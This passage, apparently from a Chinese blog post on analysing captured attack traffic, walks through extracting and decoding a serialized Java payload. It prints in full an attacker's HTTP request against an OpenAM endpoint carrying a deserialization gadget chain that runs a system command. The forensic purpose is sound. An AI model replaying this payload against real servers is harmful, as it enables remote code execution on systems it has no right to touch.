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 truncated
|
||||
<p blockindex=38>然后是第二步,跳过开头的空字节:</p>
|
||||
<pre blockindex=39><code class="hljs language-bash">tail -c +2 restore_raw_payload_00.bin > restore_raw_payload.bin
|
||||
</code></pre>
|
||||
<p blockindex=40><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=41>最后就是拿过去让<code>zkar</code>解析了,这里不再重复了</p>
|
||||
<h2 blockindex=42>0x04 实战</h2>
|
||||
<p blockindex=43>拿到攻击者的请求:</p>
|
||||
<pre blockindex=44><code class="hljs language-bash">GET /openam/oauth2/..;/ccversion/Version?jato.pageSession=AKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXVldWWU2jC0-z-CsQMAAkkABHNpemVMAApjb21wYXJhdG9ydAAWTGphdmEvdXRpbC9Db21wYXJhdG9yO3hwAAAAAnNyADBvcmcuYXBhY2hlLmNsaWNrLmNvbnRyb2wuQ29sdW1uJENvbHVtbkNvbXBhcmF0b3IAAAAAAAAAAQIAAkkADWFzY2VuZGluZ1NvcnRMAAZjb2x1bW50ACFMb3JnL2FwYWNoZS9jbGljay9jb250cm9sL0NvbHVtbjt4cAAAAAFzcgAfb3JnLmFwYWNoZS5jbGljay5jb250cm9sLkNvbHVtbgAAAAAAAAABAgATWgAIYXV0b2xpbmtaAAplc2NhcGVIdG1sSQAJbWF4TGVuZ3RoTAAKYXR0cmlidXRlc3QAD0xqYXZhL3V0aWwvTWFwO0wACmNvbXBhcmF0b3JxAH4AAUwACWRhdGFDbGFzc3QAEkxqYXZhL2xhbmcvU3RyaW5nO0wACmRhdGFTdHlsZXNxAH4AB0wACWRlY29yYXRvcnQAJExvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvRGVjb3JhdG9yO0wABmZvcm1hdHEAfgAITAALaGVhZGVyQ2xhc3NxAH4ACEwADGhlYWRlclN0eWxlc3EAfgAHTAALaGVhZGVyVGl0bGVxAH4ACEwADW1lc3NhZ2VGb3JtYXR0ABlMamF2YS90ZXh0L01lc3NhZ2VGb3JtYXQ7TAAEbmFtZXEAfgAITAAIcmVuZGVySWR0ABNMamF2YS9sYW5nL0Jvb2xlYW47TAAIc29ydGFibGVxAH4AC0wABXRhYmxldAAgTG9yZy9hcGFjaGUvY2xpY2svY29udHJvbC9UYWJsZTtMAA10aXRsZVByb3BlcnR5cQB-AAhMAAV3aWR0aHEAfgAIeHAAAQAAAABwcHBwcHBwcHBwdAAQb3V0cHV0UHJvcGVydGllc3Bwc3IAHm9yZy5hcGFjaGUuY2xpY2suY29udHJvbC5UYWJsZQAAAAAAAAABAgAXSQAOYmFubmVyUG9zaXRpb25aAAlob3ZlclJvd3NaABdudWxsaWZ5Um93TGlzdE9uRGVzdHJveUkACnBhZ2VOdW1iZXJJAAhwYWdlU2l6ZUkAE3BhZ2luYXRvckF0dGFjaG1lbnRaAAhyZW5kZXJJZEkACHJvd0NvdW50WgAKc2hvd0Jhbm5lcloACHNvcnRhYmxlWgAGc29ydGVkWgAPc29ydGVkQXNjZW5kaW5nTAAHY2FwdGlvbnEAfgAITAAKY29sdW1uTGlzdHQAEExqYXZhL3V0aWwvTGlzdDtMAAdjb2x1bW5zcQB-AAdMAAtjb250cm9sTGlua3QAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvQWN0aW9uTGluaztMAAtjb250cm9sTGlzdHEAfgAQTAAMZGF0YVByb3ZpZGVydAAsTG9yZy9hcGFjaGUvY2xpY2svZGF0YXByb3ZpZGVyL0RhdGFQcm92aWRlcjtMAAZoZWlnaHRxAH4ACEwACXBhZ2luYXRvcnQAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvUmVuZGVyYWJsZTtMAAdyb3dMaXN0cQB-ABBMAAxzb3J0ZWRDb2x1bW5xAH4ACEwABXdpZHRocQB-AAh4cgAob3JnLmFwYWNoZS5jbGljay5jb250cm9sLkFic3RyYWN0Q29udHJvbAAAAAAAAAABAgAJTAAOYWN0aW9uTGlzdGVuZXJ0ACFMb3JnL2FwYWNoZS9jbGljay9BY3Rpb25MaXN0ZW5lcjtMAAphdHRyaWJ1dGVzcQB-AAdMAAliZWhhdmlvcnN0AA9MamF2YS91dGlsL1NldDtMAAxoZWFkRWxlbWVudHNxAH4AEEwACGxpc3RlbmVydAASTGphdmEvbGFuZy9PYmplY3Q7TAAObGlzdGVuZXJNZXRob2RxAH4ACEwABG5hbWVxAH4ACEwABnBhcmVudHEAfgAXTAAGc3R5bGVzcQB-AAd4cHBwcHBwcHBwcAAAAAIAAQAAAAAAAAAAAAAAAQAAAAAAAAAAAXBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHhwcHBwcHBwcHBwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0_BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAITAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA_____3VyAANbW0JL_RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF_gGCFTgAgAAeHAAAAa1yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk_OR3e8-AQAGPGluaXQ-AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ-AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEAH3BpbmcgLW4gNCAtbCAxMjU1NCAxMC4yMDAuMzAuMTUIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXIyMjI3NDgxMDI2MjI4NDgBACBMeXNvc2VyaWFsL1B3bmVyMjIyNzQ4MTAyNjIyODQ4OwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACALine truncated
|
||||
Host: 10.162.147.159:9200
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: */*
|
||||
Connection: keep-alive
|
||||
Content-Type: application/xml
|
||||
</code></pre>
|
||||
<p blockindex=45>扣出其中<code>jato.pageSession</code> 参数的值,保存成<code>target.bin</code></p>
|
||||
<p blockindex=46><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABoIAAAJ6CAYAAAAM6FDjAAAACXBIWXMAAAsTAAALEwEAmpwYAAAgAElEQVR4nOydd3gcxfn4P7c69XbqvVqyZMm2JFtyt4x7N8amd/hCaAlJCJAQEgIkIbTQkgABEgjddGzABVfk3m3JtmRLllWs3sup3N3e74+VTndqtyedZcNvP8+j59Htzs68Mztt5533HVV4eLjx+T/ezcWgUqfiiFagVKe6KOkrKPwU8ffwQAU0tbfToddfbHEUFBQuEUKczpLksh8fddXFFkXhJ0RWFuz4QbjYYigoKCgoKCgoKCgoKCgMkVFRoSzITGdUdOjFFkVhiDz459ethlGPgBz9YgRaRGgzXiwJFBR+mtS0tFxsERQUFC4hBIz4qiuIcz6uKIEU7I+yl0dBQUFBQUFBQUFBQeFHTXOrlrrGZqJFEQdB2ej3U+WiKYJUwChnIzHOBg60CmS3KZVMQUFBQUHB3oioqNGHkNW8En91OZM9NuAqNF8UWerq4OxZSEgAT8+LIoKCnZkxHVpa4NChiy2JgoKCgoKCgoKCgoKCgq1MS0/m8gXTcXBQ1uZ/6lw0RVA3AjDZXcRPbWR7s8PFFuf/WybHRDM9Pg4j8Pq2HbTpdD+JtH6M8igo/P+G0gZHjhp9CJsbr2Oyx3oCHUtGNO3iYnj3PQFfX9i4Ce69R8THp+e+0QidneDsPKJiKQwTlQoWzBdpaRbIO32xpVFQUFBQUFBQUFBQUFCQy+olmUydmHSxxVAYIYalCDKIIluzDhPg701qcvywBIlzNlKjF8n5EVkGTY6Ows3JiR1n8hGNQ/dx1188CUFBjI8Ix8fdjZb2dopq6zhcVHzBFkhjAgKYMioWgP/t2m1TOldMSGXumDEW157+bj2l9Q12T8tWumuTOEiYCy2Ph7Mz0+JGSXKIIjUtLVQ0NlHR1GTXdC4VhtIunr1qNW5OTuw7W8h7e/ZeYAnlEabREBcUiLNajVE0suP0aToNBpviSA4NJT4oEF93N/SiSE5pGSfLymgfwtlNgZ4epEdHE+ajoayhkYPnzlHZJN+q41KuhyPZJ1jD3dGRCdFRJAQHc7qyksPnimjp7LQIIwDjI8KJCfDHz92DBq2Ww8XFnK2usSktW+KJDfAnLjAQgOMlpcN6bx1GF/a0LGWO1xo8HeqHHI+tHM8WSEqEVatF/vu2QM4JmDlDuldUBGvXCTQ3Q/pEWLBgsF5boZuaWmhqhJAQcHUdOFx7u6SwGUjJ1t4ONTXg7w8uLrbL4eAAK1aIfLxGoGRk9YsKF4gX/3IXURFBrLrlSVnhn/7j7URFBHHdz/52gSVTUFBQUFBQUFBQULAHk9MS7a4EamvvQKVS4eLs1OeeVttORU09okEkMMAHLw+3YaVTWdNAkL8GV5f+P3TlhBmM9o5OOjr7rk95erghqPr6SB8s75cKw1IEPfOPdzl9tpQnHrrDLsJMchcp6VTRaLj0Hc6HeHtx96yZNLW1sbPgLGLXArGrWs39E1M529DIp3lnhhTPVekTuSpjYp+wJ86X8cTab+yel+Hi4+5OoJeljx9Xp4tf6dOjo3h48UIA/rzuW7JLz18UOcJ9fbgjc0af6wfPFfHfrJ3UtLReBKkuDAO1C2uEarxxUqvx83C/wBLK41fz55qUJt1knz9v8+L7YyuWojIbHJaljEdnMPD6th1kncmXHU+Uny9/XL4ML9eeFdrV6RP467pvKZCpfPj/qR4OlZnxcdw9exaODpJ16oKxSehFkTd3/MC2XMnUwdXRkV/MnU16TLTFs+Mjwnnsq7Wy07IlHldHRx5ctAB/Dw8A/r39h2Er8HRGJ/a2LGGe90eoBlWV24+AAJGsLIENGwWqqmDatJ57P2QJxMZAcrLI+x8ITEwHP98REcs